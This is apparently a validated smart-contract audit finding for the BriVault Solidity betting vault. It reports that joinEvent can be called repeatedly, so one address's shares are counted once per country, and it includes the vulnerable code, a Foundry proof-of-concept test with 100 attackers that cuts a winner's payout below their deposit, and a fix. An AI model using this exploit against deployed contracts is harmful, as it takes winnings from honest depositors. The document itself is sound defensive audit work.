BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple attackers deposit once but join all countries - shares inflation attack

Root + Impact

Description

The joinEvent() function allows users to call it multiple times with different countryId values, shares counted multiple times in totalWinnerShares

The Issue: If a user's address appears in usersAddress[] multiple times (48 times if they joined 48 countries), their shares are counted 48 times in totalWinnerShares!

// Root cause in the codebase with @> marks to highlight the relevant section
function joinEvent(uint256 countryId) public {
// ...
userToCountry[msg.sender] = teams[countryId]; // ← Overwritten each time!
uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares; // ← Stored for EACH country!
@> usersAddress.push(msg.sender); // ← Address added EVERY time!
numberOfParticipants++;
totalParticipantShares += participantShares;
}
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // ← Counts shares!
}
return totalWinnerShares;
}

Risk

Likelihood: High

  • Cost per attacker: $20 (affordable for trolls)

  • Coordination difficulty: LOW (Discord/Telegram)

  • Technical skill required: NONE (just call function 48 times or whatever number of countries are there)

Impact:

  • Significant % user losses (scales with attackers)

Proof of Concept

Attack Setup:

  • 100 attackers coordinate on Discord/Telegram

  • Each deposits only 0.01 ETH ($20)

  • 100 attackers × 0.01 ETH = 1 ETH total

  • Each attacker joins all 48 teams → 4,800 duplicate addresses

  • 50 honest users deposit × 1 ETH = 50 ETH total

  • Users spread across 5 teams (10 per team)

  • Only 1 team wins (10 winners out of 50)

  • Vault has ~50.235 ETH (50 * 0.985 + 100 * 0.00985)

  • Each winner should get: 50.235 / 10 = ~5.023 ETH (5x their deposit!)

  • Each winner actually gets: 0.866 ETH (LESS than original deposit)

function test_JoinAllCountries() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
// Create 100 attackers, each deposits 0.01 ETH
uint256 numAttackers = 100;
uint256 attackerDeposit = 0.01 ether;
address[] memory attackers = new address[](numAttackers);
for (uint256 i = 0; i < numAttackers; i++) {
attackers[i] = address(uint160(2000 + i));
vm.startPrank(attackers[i]);
mockToken.mint(attackers[i], 1 ether);
mockToken.approve(address(briVault), attackerDeposit);
briVault.deposit(attackerDeposit, attackers[i]);
// Each attacker joins ALL 48 countries!
for (uint256 j = 0; j < 48; j++) {
briVault.joinEvent(j);
}
vm.stopPrank();
}
// 50 honest users deposit only 1 ETH each, spread across 5 teams
console.log("Step 2: Retail users deposit (spread across 5 teams)");
address[] memory victims = new address[](50);
for (uint256 i = 0; i < 50; i++) {
victims[i] = address(uint160(3000 + i));
vm.startPrank(victims[i]);
mockToken.mint(victims[i], 5 ether);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, victims[i]);
// Spread users across 5 teams (countries 5, 10, 15, 20, 25)
// 10 users per team
uint256 teamId;
if (i < 10) teamId = 5;
else if (i < 20) teamId = 10;
else if (i < 30) teamId = 15;
else if (i < 40) teamId = 20;
else teamId = 25;
briVault.joinEvent(teamId);
vm.stopPrank();
}
// Fast forward past event end
vm.warp(block.timestamp + 34 days);
vm.prank(owner);
briVault.setWinner(5);
uint256 totalWinnerShares = briVault.totalWinnerShares();
uint256 vaultBalance = mockToken.balanceOf(address(briVault));
// Calculate the inflation effect
// Only 10 winners (team 5), but attackers are on ALL teams
uint256 attackerSharesEach = briVault.balanceOf(attackers[0]);
uint256 retailSharesEach = briVault.balanceOf(victims[0]);
uint256 attackerSharesTotal = attackerSharesEach * numAttackers * 48; // 48x inflated!
uint256 retailWinnersSharesTotal = retailSharesEach * 10; // Only 10 winners from team 5!
// Calculate inflation ratio
uint256 inflationPercent = (attackerSharesTotal * 100) / retailWinnersSharesTotal;
// One winner from team 5 withdraws
vm.startPrank(victims[0]); // First user is on team 5 (winner)
uint256 victimBalBefore = mockToken.balanceOf(victims[0]);
briVault.withdraw();
uint256 victimPayout = mockToken.balanceOf(victims[0]) - victimBalBefore;
vm.stopPrank();
// Expected: Only 10 winners share the pot
// Vault has ~50.235 ETH (50 * 0.985 + 100 * 0.00985)
// Each winner should get: 50.235 / 10 = ~5.023 ETH (5x their deposit!)
uint256 expectedPayoutNoAttack = 5023500000000000000; // ~5.023 ETH (1/10 of pot)
uint256 lossPercent = ((expectedPayoutNoAttack - victimPayout) * 100) / expectedPayoutNoAttack;
// Total damage calculation
uint256 totalExpected = expectedPayoutNoAttack * 10; // 10 winners
uint256 totalActual = victimPayout * 10;
uint256 totalLoss = totalExpected - totalActual;
// Assertions
assertLt(victimPayout, expectedPayoutNoAttack, "Winners get less than expected");
assertGt(lossPercent, 70, "Winners should lose >70% with the inflation!");
assertLt(victimPayout, 1 ether, "Winners get LESS than original deposit!");
}

Recommended Mitigation

Allow users to change their mind and switch teams before the event starts, but prevent duplicates:

+ mapping(address => bool) public hasJoinedEvent;
+ mapping(address => uint256) public userJoinedCountryId;
function joinEvent(uint256 countryId) public {
// ...
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
uint256 participantShares = balanceOf(msg.sender);
+ uint256 previousCountryId = userJoinedCountryId[msg.sender];
// If user already joined a country, clear their previous choice
+ if (hasJoinedEvent[msg.sender]) {
+ userSharesToCountry[msg.sender][previousCountryId] = 0; // Clear old registration
// Don't increment numberOfParticipants or totalParticipantShares (already counted)
+ } else {
// First time joining - add to usersAddress array
+ hasJoinedEvent[msg.sender] = true;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
+ }
// Set new country choice
userToCountry[msg.sender] = teams[countryId];
userSharesToCountry[msg.sender][countryId] = participantShares;
+ userJoinedCountryId[msg.sender] = countryId
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!